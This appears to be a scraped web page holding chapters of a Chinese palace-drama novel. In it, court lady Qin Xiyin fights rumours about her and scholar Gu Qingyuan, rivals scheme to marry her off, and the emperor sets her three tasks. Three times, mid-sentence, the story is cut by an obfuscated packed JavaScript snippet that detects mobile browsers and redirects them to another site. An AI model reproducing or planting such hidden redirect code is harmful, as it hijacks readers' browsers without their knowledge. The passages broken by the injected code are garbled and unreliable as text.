这小太监探头探脑的,看着这幅画,笑道:“秦典籍,您跟顾学士真是般配极了,您看这幅画,你们俩一看就感情很好。” 秦惜音摇头道:“我跟顾学士不是你们想的那样,不要乱传。这幅画的事,也别告诉别人。” 说着,秦惜音就送了这小太监一些银两,小太监答应了。 小太监走后,秦惜音觉得有些烦恼。 她先把画收了起来,藏在柜子的最内侧,这样就不会被人看见了。 她得约顾清远见一面,问问到底怎么回事。不管顾清远对她有意还是无意,这件事都不能继续发酵下去了。 于是,秦惜音写了一封书信给顾清远,托冷宫的小太监双喜转交。 双喜笑嘻嘻地接过信,说道:“惜音姐姐,你放心,我一定帮你把信送到。” “辛苦了。” 秦惜音照例要给双喜赏钱,但双喜却没接,反而说道:“牛郎织女要相会,我这喜鹊怎么好收钱?当然要帮忙玉成好事了。” 秦惜音惊讶道:“什么牛郎织女?你在说什么?” “惜音姐姐,你在我面前就别瞒着了。听说,你跟顾学士的关系非同一般啊,我可是看见你们俩一起入画了。” “什么?那幅画你也看见过?什么时候?” “就是不久之前,有个小太监手里拿着一幅画,半路上被很多宫人拦住了,大家都在那儿看画,我刚好路过,也看了一眼。我一眼就认出,画上的女子是惜音姐姐,却不知那男子是谁。 旁边的人告诉我,那个男子便是集贤殿书院的顾清远学士,他还说,他见过秦女官和顾学士见面,有说有笑的。 我便知道,惜音姐姐你好事将近了。” 秦惜音吓得脸都白了,道:“没有这样的事……我确实认识顾学士,昨天跟他一起讨论书中的疑点,也只是为了共同学习,没有别的意思。不知是谁把那个场景画了下来,让你们误会了……照这么说,有很多人都看过这幅画了?” “应该是吧……” 秦惜音暗叫不好。 刚才,她还让那小太监不要把那幅画传扬出去。没想到,他在来的路上,已经把画展示给很多人看过了。 现在,众口铄金,她就是想跟顾清远撇清关系,只怕也很难了。 101. 推波助澜 在外人看来,宫中女官和宫外学士相恋,自是一桩美谈。 但秦惜音知道,一旦有大人物当真了,把秦惜音赐婚给顾清远,那秦惜音就全完了。 她花了那么大力气,才争取到当官的机会。一旦被赐婚,就只能困于内宅,过自己最不想过的那种日子。 现在,她得快点见顾清远一面,商讨对策。哪怕顾清远真的对她有意,她也要说清楚自己的志向。 更何况,如果顾清远对她无意的话,这件事对顾清远来说也是个困扰,也需要澄清。 于是,秦惜音一脸严肃地对双喜说,务必尽快把这封信交到顾清远手上。 双喜不敢怠慢,赶紧拿着信出去了。 没过多久,双喜气喘吁吁地跑回来,说道:“惜音姐姐……顾学士不在,他的同僚说是他有事请假两天。” “什么?那……可有问清这幅画是谁画的?” “好像是另一位学士,跟顾学士是好友。他说他昨日看见顾学士和秦女官一起在石桌旁看书,看起来很养眼,就把这一幕画了下来。他画了两幅,一幅留在集贤殿书院了,一幅送给姐姐您。 他本来以为,您会喜欢这幅画的,没想到给您造成了困扰。” 秦惜音皱眉道:“原来是这样……画画的人叫什么名字?” “好像叫闻长海。” “你刚才说,他画了两幅?那另一幅呢?他是收着了,还是……” “另一幅画就摆在集贤殿书院的书桌上,我上前看了,跟姐姐手里这幅一模一样。” “什么?就那样放着?这……岂不是很多人来来往往都能看见?” “是,我跟那位闻学士说了,让他把画收一收,他就收起来了。” 秦惜音心情沉重。这会再把画收起来,已经没有多大意义了。 恐怕,过不了两天,她和顾清远的事,就传得沸沸扬扬了。到时候,哪怕她不愿意,也得嫁给顾清远,否则她的名声就毁了。 不,她不能让这种事情发生…… 现在她还能怎么办…… 这时,秦惜音福至心灵,想到了一个人,或许可以帮她。 秦惜音打发双喜离开,立刻带着那幅画,来到了瑾妃的宫殿,说明事情的原委。 秦惜音道:“娘娘,这事若是闹大了,奴婢恐怕不得不离宫,嫁给顾清远。但是,奴婢不愿离宫,还想继续为娘娘效力,请娘娘帮忙。” 瑾妃揉着额头,道:“本宫刚才已经从宫人处得知此事,还以为你真的想嫁人了,刚想叫你过来问问,没想到你自己就来了。你刚才说的,可是真心话?” “是,奴婢句句真心。奴婢跟那顾清远并无特殊关系,也并不想嫁给他。” “如此最好。本宫会下令让后宫众人不再讨论你的事。以后,你也别见那顾清远了,免得惹出是非来。还有,除了他之外,其他的适龄男子你都别见了。” “是。” 瑾妃当然不希望秦惜音离开宫廷,因为她还要依靠秦惜音来代写诗词。 如果秦惜音走了,她仓促之下找不到跟秦惜音才华相近的替代者。 宫里的女官虽然有好几个有才学的,但她们大部分都不会创作诗词,只是把前人的诗句背得很熟而已。 有了瑾妃的帮忙,秦惜音放心了,刚想离开,瑾妃又让她写诗。 秦惜音只得打起精神,写了一首。 还好这首诗写得不错,瑾妃也比较满意,让秦惜音离开了。 另一边,范尚仪处。 范尚仪正在练字,忽然有个女史跑了过来,对她耳语了几句。 范尚仪先是惊讶,随即微笑道:“此事当真?” 那女史道:“是的,属下方才在宫道上,见一个小太监手持画卷,就上前看了看。没想到,画上的人竟是秦典籍与顾清远顾学士。她们两个一同入画,看着倒挺养眼的。” 范尚仪笑意更深:“太好了,惜音既然红鸾星动,该嫁人就嫁人吧。一味地留在宫里干什么?压得其他人都抬不起头来了。” “范尚仪说的是。” 范尚仪名叫范梅舒,是尚仪局的两位最高长官之一,另一位是谢尚仪。 虽然范梅舒已经是五品女官,但心里对秦惜音一直存着几分忌惮。 秦惜音太优秀了,不止在众下属当中无人能及,比起范梅舒来,也不遑多让。 虽然秦惜音暂时威胁不到范梅舒的地位,但范梅舒总觉得,有秦惜音在一日,她就不能安稳度日。 秦惜音升得太快,又有真本事,假以时日,取代她的地位也不是不可能。 只是,秦惜音没犯错,范梅舒也不能出手整治她。 现在这样最好,范梅舒认为秦惜音心有所属,马上就会出嫁,也安心许多。 从此以后,尚仪局再也没人会威胁到她的地位。 没想到,第二天,瑾妃的旨意就传遍了六宫:关于秦女官和顾学士的事,实属子虚乌有,后宫之人不得继续谈论,有污当事人清誉。如有违反者,严惩不贷。 听到这个旨意,范尚仪有些困惑。 难道秦惜音和顾清远的事是假的?那他们两人为何会一同入画? 而且,昨日宫中还有很多人议论纷纷,说是秦惜音和顾清远互相看对眼了,才会频繁接触…… 难道不是这样? 不过,宫人之间口口相传,到最后跟事实相去甚远的事,也是常有的。 范尚仪思索了一会,觉得如果不能趁此机会把秦惜音赶出宫去,实属可惜。 于是,她备上一份礼物,来到杨昭仪的住处。 杨昭仪笑道:“梅舒,你好久不来我这儿了。” “因最近事务繁忙,所以很少来问候娘娘,这是奴婢的过失。” “好了,这儿又没外人,你就别这么见外了,快坐吧。” 范尚仪也不拘礼了,直接坐在了杨昭仪对面。 范尚仪和杨昭仪是闺中密友,而且家世相当。当年,先帝给诸皇子选妃时,杨昭仪的父母送她参选。 杨昭仪本以为自己的好友范梅舒也会参选,那样,两人很可能会成为竞争对手。 毕竟,适龄的皇子就那么几位。如果她们两人被同一位皇子选中,以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751628|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后内宅之中,难免会有龃龉,只怕难以维持友情。 没想到,范梅舒却参加了宫里的女官考试,成了司籍司的一名女史。 这让杨昭仪松了口气,同时也为范梅舒感到高兴。 后来,杨昭仪被当时还是齐王的皇帝选中,纳入王府。等皇帝登基,她因受宠,被封为二品昭仪,仅次于瑾妃。 由于范梅舒和杨昭仪二人走了不同的路,关系反而越发好了。 杨昭仪成为后宫妃嫔后,屡次提拔范梅舒这个小姐妹,才让范梅舒成为五品昭仪。 因此,她们私底下见面,都是不拘礼的。 杨昭仪笑道:“梅舒,我新得了一只猫,两只眼睛竟是不同颜色的,一会给你看看。” 范尚仪点头道:“好,一会再看吧。我这次来,是有件事想请你帮忙。” “你说吧。” “惜音跟集贤殿书院的顾学士过从甚密,您知道吗?” “我这几天有听身边的宫人说起。我以为,惜音急着想嫁人了,才闹出这个事来。毕竟,她都毁容了,可不得牢牢抓住一个男人嘛。但是,今天瑾妃又传旨六宫,说惜音和顾学士的事是假的,谁都不得乱传。这我就不懂了,她们俩到底是真的还是假的?” “真的还是假的不重要,总之,我希望借着这个传言,让惜音嫁出宫去。” “为什么?她是你的下属,对你应该没有威胁。她毁容了,对我也没威胁。没有必要让她出宫啊。” 范尚仪有些忧心地说:“不,我觉得她迟早会威胁到我的。她第一次参加女官考试的时候,比第二名高出八十多分,您知道吗?” “我听说过。不过,那又有什么关系?女官晋升,都要一级一级地考上来。她现在才七品吧?” “等她升为六品时,就会想当五品女官。到时候,我跟她就是竞争对手了。现在,五品尚仪的位置满了,惜音如果想当五品女官,说不定会想办法胜过我。到时候,我可能不得不让位给她。” “哪有那么容易?有我在,不会有人威胁到你的地位的。” “但是,如果惜音的靠山是瑾妃呢?” “瑾妃?说起来,这段时间,惜音去见瑾妃的次数确实多了点……莫非她已经暗中投靠了瑾妃?” “我觉得有这个可能。如果瑾妃要扶持她,你未必保得住我。而且,这次惜音身陷绯闻,不也是瑾妃出手帮她的吗?” 杨昭仪沉思了一会,道:“我了解惜音,她不像是会投靠某个妃嫔的人……也许,她跟瑾妃之间存在着什么交易。总之,你说的事我有数了,我会想办法让她出宫的。” “多谢娘娘。” 范尚仪走后,杨昭仪叫来贴身侍女云雀:“你去集贤殿书院一趟,把秦女官和顾学士的画拿回来。” “是。” 午后,杨昭仪拿着那幅画,去御书房求见皇帝。 守门的小太监见是杨昭仪,不敢怠慢,赶紧进去通报。 过了一会,小太监出来,让杨昭仪进去。 皇帝一边批阅奏折,头也不抬,一边说道:“绛红,你怎么来了?” 102. 不约而同 杨昭仪笑道:“最近后宫中出了一件趣事,有一位女官似乎和集贤殿书院的学士看对眼了。皇上请看这幅画。” 杨昭仪把画卷展开,皇帝看后,惊讶道:“这不是秦典籍和顾学士吗?她们俩认识?关系看起来还不错,还到了一起入画的地步……” “正是呢。秦典籍以前做过嫔妾宫里的宫女,嫔妾也十分关心她的终身大事。后来她毁容了,嫔妾还担心她会嫁不出去。现在,她难得找到了合心意的人,这顾学士看着也不像是介意外表的人,不如皇上就成全了她们?” 皇帝沉思道:“此事属实吗?” “秦典籍毕竟是女孩,这种事总不好说得太明白。这几天宫中众人都在传,说秦典籍近日频频跟顾学士见面。依嫔妾看,她们俩之间八成是真的。秦典籍已经毁容,错过这一个,只怕很难等到下一个了。皇上,您意下如何?” 皇帝沉思道:“这个……恐怕还需再想想。朕记得,秦典籍志向远大,她女官当得好好的,应该不会中途嫁人才是。” “秦典籍也到了谈婚论嫁的年纪,她遇到合适的人选,想起终身大事来,也不奇怪。皇上,其实嫔妾提出这件事,不仅是为了秦典籍着想,也是为了三皇子。” “哦?三皇子怎么了?” “自从兰美人把三皇子送给嫔妾抚养,嫔妾每天尽心尽力地照顾。只是,近日三皇子精神不济,找太医看过,太医又说似乎没有什么病,不敢贸然开药。 于是,嫔妾只好找钦天监推算一下,看三皇子是不是冲撞了什么。 钦天监说,三皇子最近多灾多难,宫里最好有喜事来冲一下。 但是,现在宫中也没有适龄的皇子、公主可以办喜事的,嫔妾想着,让宫中的女官出嫁,也算一件喜事,说不定能把三皇子的霉运冲散。” “原来是这样……” 皇帝虽然有些松动,但还是没有下定决心。 这时,太监来报:“皇上,镇国公求见。” “镇国公?快请他进来吧。” 杨昭仪道:“皇上要见外臣,那嫔妾去屏风后面躲躲吧。” 皇帝点头:“也好。” 杨昭仪躲进了屏风后面。 接着,镇国公就走了进来。 镇国公腿脚有伤,且战功赫赫,皇帝特许他不用跪,见皇帝可以坐着。 因此,镇国公口头给皇帝请安后,就坐了下来。 皇帝问道:“镇国公来此何事?” 镇国公道:“皇上,老臣已多年不问朝政,今日冒昧前来,是为了一件私事。臣的外甥顾清远,现今在集贤殿书院当学士。他好像看中了宫中的一个女官,这几日有些茶饭不思,以至于生病了。 老臣去看过他,他现在很虚弱,还说想要那位女官为妻,否则他的病很难好了。 皇上,可否看在老臣的薄面上,给我那外甥赐婚?” “爱卿所说的女官,可是司籍司的秦典籍?” “正是。” 皇帝有些为难:“论理,爱卿既然开口,朕应当应允。只是,这秦典籍是个不可多得的人才,若是嫁出宫去,对皇家也是一个损失。这样吧,朕五日之后再答复你。顾学士那边,朕会派太医去瞧瞧。” “多谢皇上。” 镇国公谢恩之后,就离开了。 杨昭仪从屏风后走了出来,说道:“原来镇国公跟嫔妾所求的是同一件事,看来这是天意。皇上,惜音虽然是个人才,但也不是唯一的人才。她的婚事既能解三皇子之困厄,也能救顾学士之性命,还能全了镇国公之颜面,可谓是一举三得。” 皇帝点头道:“爱妃言之有理……只是,朕想问一下秦典籍自己的意思。来人,去宣秦典籍来。” 小太监答应了,往司籍司的方向跑去。 杨昭仪见皇帝竟没有一口答应,有些惊讶,她发现她低估了秦惜音在皇帝心里的分量。 皇帝对她说道:“杨昭仪,你的意思朕已经明白了。如果没有别的事,你先回去休息吧。三皇子的事,朕会给你一个妥善的解决方式的。” “是。” ———— 另一边,秦惜音接到旨意后,匆匆赶到御书房门外。 这时,她竟然又碰见了银镜,也就是袁采女。 银镜又在跟守门的小太监争吵,说要进去。自然,小太监又把她给拦下了。 秦惜音上前,给银镜请安后,就走进了御书房。 银镜十分不甘地说道:“为什么惜音又能进去?” 小太监解释道:“是皇上召见秦典籍,所以她才能进去。皇上未曾召见娘娘,所以还请娘娘离开吧。” “皇上几次三番召见她,是不是看上她了?有些人可真有城府,表面上不争不抢,当了女官,实际上是想凭借女官的身份接近皇上,勾.引皇上……” “娘娘慎言,这里可是御书房门口,您说的话很有可能传到皇上耳中。您还是想想自己的宠爱能不能接得住皇上的怒火。再说了,皇上召见女官,或是召见朝臣,肯定是为了公事。 如果您羡慕,也可以考个女官,让皇上隔三差五召见您。可您当初为什么没走这条路呢?” “我……” 银镜当然不愿意说,是因为她没读过什么书,根本不可能考中女官。而且,她一开始的目的就是当妃嫔。她也没想到,妃嫔也没她想的那么好当。 她哑口无言,只能离开。 秦惜音进了御书房后,皇帝问她:“惜音,之前你跟朕说,想做一名贤臣,不知现在是否有所改变?” 秦惜音道:“自然没有。臣心心念念,只是为皇上、为魏国多出一份力。” “那么,你跟顾学士的传闻,又是怎么回事?” “皇上,这完全是一场误会。实际上,我跟他只见过两三次……” 秦惜音把跟顾清远相识的始末都说了出来。 皇帝道:“虽然你没有嫁给顾清远的意思,但现在事情已经闹大了。无论是宫中妃嫔,还是朝中重臣,都有人向朕提出,要让你和顾清远成亲。你说,该怎么办呢?” “这……只要能继续留在宫中当女官,臣会比以前更加勤勉,请皇上不要给臣和顾学士赐婚。” “你不想嫁出宫去,也不是不行。只是,你需要在五天内解决三个难题。 第一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751629|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,三皇子近日身体不适,钦天监说,最好宫里有喜事,可以给三皇子冲喜。如果你不成亲,就要另寻一位愿意成亲的女官。 第二,此事因顾清远而起,听说顾清远最近茶饭不思,病倒在家,只怕去探病的人都知道他得的是相思病。如果你能让他改口,亲自向世人澄清不愿娶你,那流言蜚语自会平息。 至于这第三件事……你想要继续当女官,就要让人看到你的本事。近日,朕召集一批文士,在复原已经失传的木羌族文字。木羌族在历史上是游牧民族的一个分支,有自己的语言文字,自成体系。但是,几十年前,木羌族灭绝,这世上几乎没有能破解、翻译木羌族文字的人。 朕广求天下有才学之士,一起研究木羌族文字,到目前为止,也才破解了二十多个字。如果你能在五天之内,破解三个及以上的文字,就可以向世人证明你的价值。 这三件事,你可愿意做? 当然,朕知道五天时间有点紧张,其实你选择嫁给顾清远的话,也挺不错的。顾家是官宦世家,顾清远的舅舅更是当朝重臣镇国公,你嫁过去不会吃亏的。” 秦惜音心中暗暗吃惊。这三件事,无论哪一件,都不像是在五天内能完成的。 而且,五天内要同时完成这三件事,无异于天方夜谭…… 可是,就这么放弃了吗? 好不容易走到现在了…… 她心里是想过成亲,但首先,成亲人选得是高毅;其次,成亲时间得在她功成名就之后,而不是现在。 危急之下,秦惜音搜索枯肠,尽量逼自己想办法…… 第二件、第三件事,未必能成功,但可以放手一搏;至于这第一件事,她似乎想到了合适的人选。 过了一会,秦惜音坚定地说道:“皇上,臣愿意答应这三件事,多谢皇上给臣这个机会。” 皇帝有些赞许地看着她:“朕就知道你会这么选。你先下去吧,好好想想这三件事该怎么完成。对了,研究木羌族文字的人都聚集在集贤殿书院那边,如果你想去研究,直接去集贤殿书院就行。” “是。关于您说的第一件事,臣有一个想法,请皇上恕臣无罪,臣才敢说。” “你有人选了?说吧,朕恕你无罪就是。” “之前,臣奉太后娘娘之命,管理过冷宫一段时间。冷宫里有个姓宁的废妃,是德宗皇帝时期的妃嫔。她在入宫之前,有一个心上人。但是,德宗皇帝还是强行征召她入宫。 她入宫之后,始终不肯屈服,最终得罪了德宗皇帝,被打入冷宫,至今已有五十多年。 她曾跟臣提起,这么多年,她始终没有忘记自己年轻时的情郎,而那个情郎早已去世。她希望在她死后,能解除废妃的身份,出宫去跟情郎合葬,我答应过要帮她。 只是,臣一直没找到合适的机会。臣想着,既然宫中需要一桩喜事来为三皇子冲喜,何不成全了宁太妃呢?她若是能活着出去,见到情郎的坟墓,也算了却了一桩心事,也可让这宫中少些怨气,增添祥和之气。 这样,皇子们自然会身体康健、无病无灾的。您可以许她自由人的身份,并给她和她已逝的情郎赐冥婚。” 103. 夙愿得偿 皇帝惊讶道:“原来,皇祖父的妃嫔中,还有如此凄惨的人……这些事,朕都不了解。朕一心想当明君,可是,连皇宫里的事都没搞明白……” “皇上,您要操心整个天下,偶尔对某些人或事有所疏漏,也是正常的。不知臣刚才所言,您意下如何?” “虽然以前从来没有冷宫废妃出宫嫁人的先例,但为了给三皇子冲喜,给皇祖父积阴德,朕就应允了吧。惜音,你去问那个宁太妃,她年轻时的情郎是谁,坟墓在哪里,她们两家都还有些什么人……总之,一些婚礼的细节,就由你和她一起决定吧。现在,朕就下旨,解除冷宫宁氏废妃的身份,恢复她的自由。” 秦惜音喜出望外:“是,多谢皇上!” 秦惜音赶紧跑到冷宫,告诉宁太妃这个好消息。 宁太妃有些不敢相信,问道:“你是说……我活着的时候,就能出宫嫁给我那个情郎了?” “是的,这真是意外之喜……皇上答应让你跟他结冥婚,恢复您自由之身的圣旨,一会就到了。” “太好了……惜音,谢谢你……如果没有你帮忙,我这个想了几十年的心愿只怕实现不了。” “我也是灵机一动,才想到的。宫中需要喜事,废妃再嫁怎么不算喜事呢?” 宁太妃苍老的脸上,竟露出了一抹娇羞的笑容。 她平时很少笑的,即便是笑,也没有这么开心。 冷宫的其他人听说了这桩奇闻,也纷纷来到宁太妃的房间,恭喜她。 还有人问道:“宁太妃,你那个情郎长什么样啊?” 宁太妃笑着回忆:“他长得有些憨……呆头呆脑的,但眼神很亮,因为他心思纯洁……还有,他皮肤可黑了……” 这时,另一个废妃笑道:“听你这么说,他长得也不怎么样啊?你还惦记了那么多年?” 宁太妃道:“我知道他人好就行了,长什么样不重要……再说了,他长相也不差,只是黑了点……” “都过去这么多年了,你还记得这么清楚啊?” “是啊,这么多年了,我没有一天忘记他……” 宁太妃眼中闪着泪光,也不知是因为激动、喜悦还是伤心,也许几种情绪都有。 很快,皇帝的圣旨就送来了。圣旨上写,恢复宁氏自由人的身份,解除其跟德宗皇帝的婚姻关系,并择日出宫完婚。 宁太妃捧着圣旨,非常激动。她用自己的私房钱打赏了传旨太监,并把所有的零钱都分给了冷宫的人。 秦惜音道:“宁太妃,您把钱都分给别人了,出宫以后怎么生活呢?” 宁太妃笑道:“我另有积蓄,可以用来养老,刚才给出去的只是零花钱而已。多亏你之前让我们做东西拿出宫卖,现在我们大家手里都有一些积蓄了。” “那太好了。” 掌管冷宫的福公公给了秦惜音一笔银两,因为之前秦惜音自己垫付了一部分钱,支持冷宫众人的事业。 这笔钱之前一直没有还清,现在冷宫营业额上来了,也能还钱了。 秦惜音收下了钱,十分开心。 这时,有另外几个废妃把秦惜音拉到一边,小声询问:“惜音,宁太妃能出去,那我们呢?我们当时被打入冷宫,也是无辜的。你可不可以帮我们向皇上求情?” 秦惜音道:“其实,我在皇上那儿的面子也没那么大。而且,冷宫属于后宫,论理该叫瑾妃娘娘或是太后娘娘管才行。冷宫进来容易,出去就难了,需要找一个合适的时机。 这次宁太妃能出去,也是因为宫中需要一件喜事,给三皇子冲喜。不过,太后曾答应我,等我成为六品女官,就可以帮冷宫的人说话。到时候,如果真的没有犯过错的人,也许能被放出去。” 听闻此言,这些废妃们又升起了一丝希望。 “惜音,那你要快点成为六品女官啊。” “是啊,我们都在这里等着你呢。” “如果你需要什么帮助,尽管告诉我们。我们有钱出钱,有力出力。” “我们可都指望你了,你可别中途出宫嫁人了。” 秦惜音郑重道:“诸位太妃放心,我一定会好好工作,尽快把你们放出去。我不保证能做到,但我会尽力。” 诸位废妃都向秦惜音道谢。 另一边,银镜来到了杨昭仪的比翼宫。 银镜一进屋,给杨昭仪请了安,就坐在脚凳上,说道:“杨昭仪,您听说了吗,惜音进言,请皇上放冷宫的宁太妃出宫嫁人,就算是给三皇子冲喜了。” 杨昭仪皱眉道:“怎么回事?从哪又冒出来一个宁太妃?什么冲喜?” “您之前不是跟皇上说,三皇子最近多灾多难,需要有喜事来冲一下吗?结果,惜音自己不嫁人,反而推荐了冷宫的宁太妃出宫嫁人,皇上竟然还同意了。更离谱的是,宁太妃要嫁的,竟是个死人!” “你越说我越糊涂了……冷宫的弃妃为何能出宫嫁人?又为何要嫁给一个死人?” 银镜解释了一番,杨昭仪才逐渐明白过来。 杨昭仪道:“咱们这位皇上,有时候太仁慈了。冷宫的废妃,管她干什么?我想撮合惜音的婚事,惜音怎么反而举荐了旁人……这么说,她自己是不会嫁出宫了?” “我听说,皇上叫惜音做几件事,她能做到的话,就允许她继续当宫中的女官。杨昭仪,您看皇上和惜音之间,是不是有些不清不楚的?惜音不过是个女官,皇上有什么舍不得的,非得把她留在宫中? 除非,皇上有纳她为妃的想法。之前那个莫寒星,不就是从女官转为妃嫔的吗?咱们不能不防啊。” 杨昭仪沉思道:“这倒奇了……惜音这种家族覆灭,脸又毁容的人,能走桃花运,已经是祖坟冒青烟了。可是,她放着顾清远这样的男人不嫁,却要留在宫中,难道她也对皇上有意?可是,她已经毁容了……” “娘娘,平心而论,她虽然脸上有疤,但仍然很好看,比很多没有破相的姑娘好看得多。我想,她脸上的疤,也不妨碍她勾.引皇上。否则,她怎么能轻易勾.引得顾清远为她茶饭不思呢?” “你说得对,看来,她是天生的狐媚子……对了,皇上让她做的几件事,分别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751630|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是什么?” 银镜就把自己打听到的事情仔细说了一遍。 杨昭仪道:“这第一件事算她完成了,可第二件、第三件事难度都不小,时间还只有五天,我觉得她是不可能完成的。单说这第二件事,要让顾清远主动放弃惜音,不太可能。他和惜音的事已经传开了,如果他这时候加以否认,影响的是他自己和顾家的名声。我想,他是不会这样做的。更何况,一个年轻人,好不容易遇见了自己喜欢的姑娘,怎么可能轻易放手?” “娘娘说得对。最好顾清远不放手,娶了惜音,那我们也少了一个竞争对手。” “嗯,一切等五天后再说吧,别自乱阵脚。” “是。” 此时,顾清远家。 顾清远躺在床上,有些虚弱。 顾母端着饭菜进来,有些心疼地说:“清远,你好歹吃一些,娘吩咐厨房做了清淡的饮食。如果你不吃的话,怎么有精神呢?” 顾清远道:“娘,就是要不吃才好,这样才能演得逼真。” “你要演给别人看,可以把妆容化得白一些,但私底下不要饿着自己啊。” “化妆化出来的虚弱,跟真的虚弱是有差别的,还是有被看出来的风险。娘,您别担心,我自有分寸。这次,我一定要娶到秦惜音。” “她就那么好吗?值得你这样做?” “娘,如果要随便娶个大家闺秀,我有很多选择。但是,有文化的年轻女孩不多,秦惜音是我见过的最优秀的一个。她的才华甚至在我之上。 娘,咱们顾家不缺钱,不缺地位,却缺少一个能教好后代的主母。我平时要上朝,要交际,没有多少时间教育孩子。 如果秦惜音是我孩子的母亲,她一定会竭尽所能,把孩子教得很优秀。到时候,我们不需要费力,就能得到优质的后代。哪怕我跟她生的都是女儿,女儿们也会拥有才女的美誉,甚至被载入史册。说不定,她们还能凭借才女的名声,高嫁王侯将相,甚至成为下一朝的皇后、贵妃。 孩儿算过了,娶秦惜音是一笔稳赚不赔的买卖。” “可是,秦家已经倒了,秦惜音的父兄皆被流放。而且我听说,她本人也毁容了。就算她是七品女官,也不值得娶。她对你的前途没有助益啊。再说,要教育孩子,花大价钱请几个厉害的教书先生也行。” “娘,您不懂,再好的教书先生,也不如母亲尽心尽力。教书先生如果遇见不愿意学习的学生,可能就辞职了,但一个母亲永远不会放弃她的孩子。再说,您怎么知道娶秦惜音没有助力?她这段时间在宫里当女官,肯定有一些交好的女官、妃嫔、宫女,这些人脉将来都可以为我们所用。 至于毁容一事,娘,如果您见过她本人,根本不会在意她脸上的伤疤。她实在太美了,即便有伤疤,也只是将她的美貌削减了一二分而已,她还是十分出众的。” “好吧,既然你有主意,娘就不劝你了。但至少喝点粥吧……” “娘,我说了,我什么都不吃。” 正在推搡之际,宫中太医来了,给顾清远诊脉。 104. 追悔莫及 他们把脉过后,说是没什么大问题,吃几服药就好了。 顾母殷勤地向太医道谢,并把他们送出去。 回来之后,却见顾清远把药都锁在了柜子里。看来,他是不准备吃药了。 顾母虽然觉得不妥,但劝不动,也就随他去了。 秦惜音从冷宫回到自己房间后,发现桌上有一封信,是高毅写来的。 高毅在信中说,他已经听说了秦惜音深陷流言蜚语的事,如有必要,他也可以找人脉,求娶秦惜音,以免秦惜音落入顾清远之手。 秦惜音看见高毅的笔迹,觉得很亲切。她现在很想见高毅一面,诉说衷肠,但又怕节外生枝。 如果被人发现她跟高毅见面,她的名声可能会更差。不明真相的人会以为她水性杨花,勾.引了一个又一个。 而且,这件事已经不是高毅插手就能解决的。 她也不打算现在嫁给高毅。 因此,她写了一封回信,信上写自己会解决这件事,请高毅不用担心,她现在也没有出宫嫁人的打算。 写完之后,她把信交给了小太监双喜,让他帮忙送出去。 接着,她想往集贤殿书院去一趟。 顾清远是集贤殿书院的人,他现在人虽然不在,但是如果能见到他的同僚,就可以问清楚顾清远是怎么想的,为什么短短几天时间,顾清远就非他不娶了,事情还闹得这么大,甚至惊动了镇国公来求亲…… 另外,她要破解木羌族文字,也需要去集贤殿书院看看。负责这件事的学士们都聚集在集贤殿书院,她可以看看进度如何了。 很快,秦惜音就来到了集贤殿书院。 不过,她没有直接走进去,而是给了守门的太监一些银两,问道:“顾清远学士是不是没来?” 太监道:“是的,他好像请了几天假。” “这位公公,请问里面有没有一位叫闻长海的学士?” “有,您要找他?需要我把他叫出来吗?” “嗯,麻烦您了。” 秦惜音之前从别人口中得知,她和顾清远的画,是一个叫闻长海的学士画的。 那么,这个闻长海,跟顾清远关系一定很好。 如果关系一般的话,是不敢贸然把顾清远跟某个女孩画在一起的,以免顾清远生气。 过了一会,守门的太监带着一个身材较矮、圆脑袋、皮肤较黑的年轻人出来了。 这年轻人其貌不扬,就像是大街上随处可见的普通人,但是他的双眼很有神采,看着很有文化的样子。 他看见秦惜音,有些惊讶,同时眼神还有几分回避,似乎不太想见到秦惜音似的。 秦惜音也发现,这个年轻人她之前见过,就是之前打趣她和顾清远的少年之一。 秦惜音问道:“请问您是闻长海学士吗?” 这年轻人说道:“是的。秦典籍,如果您来找顾清远的话,他请假回家了,您可以去顾府见他。” 秦惜音笑道:“不,我其实是来找你的。” “找我?这……您是不是有什么话要我转达给顾清远?还是说,您是代表司籍司,来借书的?” “都不是。我有一句话想问您……请问我和顾清远一起看书的那幅画,是您画的吗?” 闻长海有些尴尬,说道:“是的……您是不是不喜欢那幅画?我已经收起来了。” “不,我觉得那幅画画得挺不错的,我还想请您为我画几幅单人画像呢,不知道您有没有时间?” 闻长海松了一口气,说道:“为您作画当然可以,只是最近我比较忙。我在和一群学士一起破译木羌族文字,等以后有空,我一定为您单独作画。到时候,您应该已经是顾夫人了吧?我去顾府找您就可以了。” 秦惜音没有回答他的问题,只是说道:“这倒巧了,皇上也让我这几天帮忙一起破译木羌族的文字。我打算一会就把我的文具拿过来呢。” “那太好了。秦典籍博学多才,一定能帮到我们。我们已经好几天没有破译出新的文字了,正着急呢。” 